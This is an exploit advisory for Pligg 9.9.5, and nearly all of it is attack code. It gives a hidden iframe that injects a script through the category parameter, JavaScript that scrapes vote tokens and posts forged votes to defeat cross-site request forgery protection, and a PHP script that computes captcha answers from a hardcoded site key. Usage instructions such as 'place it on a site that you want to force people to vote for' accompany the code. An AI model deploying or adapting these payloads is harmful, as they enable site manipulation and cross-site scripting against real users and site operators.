Pligg version 9.9.5 cross site request forgery protection bypass and captcha bypass exploits.
05b604f400a79dfbb253f411cc153b0e6fcbbe1b7f206be771ad35f433e998a6
Written By Michael Brooks
Special thanks to str0ke!
Pligg - XSRF Protection Bypass and Captcha Bypass
affects 9.9.5
XSRF Protection Bypass
<html>
<!--
Remove this iframe from this file and place it on a site that you want
to force people to vote for.
Change these pligg_story_to_vote_for, target_pligg_site and site_you_control .
-->
<iframe src='http://target_pligg_site/index.php?category="><script
src=http://site_you_control/pligg_auto_voter.html
type=text/javascript></script>' width="0%" height="0%"></iframe>
</html>
var pligg_story_to_vote_for="/story.php?title=pligg_xss";
function r(){
var Z=false;
if(window.XMLHttpRequest){
try{
Z=new XMLHttpRequest()
}catch(e){Z=false}
}else if(window.ActiveXObject){
try{
Z=new ActiveXObject('Msxml2.XMLHTTP')
}catch(e){
try{
Z=new ActiveXObject('Microsoft.XMLHTTP')
}catch(e){Z=false}
}
}
return Z
}
var x=r();
x.open("GET",pligg_story_to_vote_for,true);
x.onreadystatechange = function() {
if (x.readyState == 4) {
var v=x.responseText.split("javascript:vote(");
v=v[1].split(")");
v=v[0].split(",");
var p="id="+v[1]+"&user="+v[0]+"&md5="+v[3].substring(1,33)+"&value="+v[4];
var y=r();
y.open("POST","/vote.php",true);
y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
y.setRequestHeader("Content-length", p.length);
y.setRequestHeader("Connection", "close");
y.send(p);
}
}
x.send('');
Captcha bypass.
The link to the capthca image will look something like this:
http://127.0.0.1/Pligg_Beta_9.9.0/ts_image.php?ts_random=54771854
To obtain the clear text, send that ts_random value to the
captcha_bypass.php with the same web browser:
http://127.0.0.1/captcha_bypass.php?ts_random=54771854
captcha_bypass.php:
<?php
$sitekey=82397834;
$ts_random=$_REQUEST['ts_random'];
$datekey = date("F j");
$rcode = hexdec(md5($_SERVER['HTTP_USER_AGENT'] . $sitekey .
$ts_random . $datekey));
print substr($rcode, 2, 6);
?>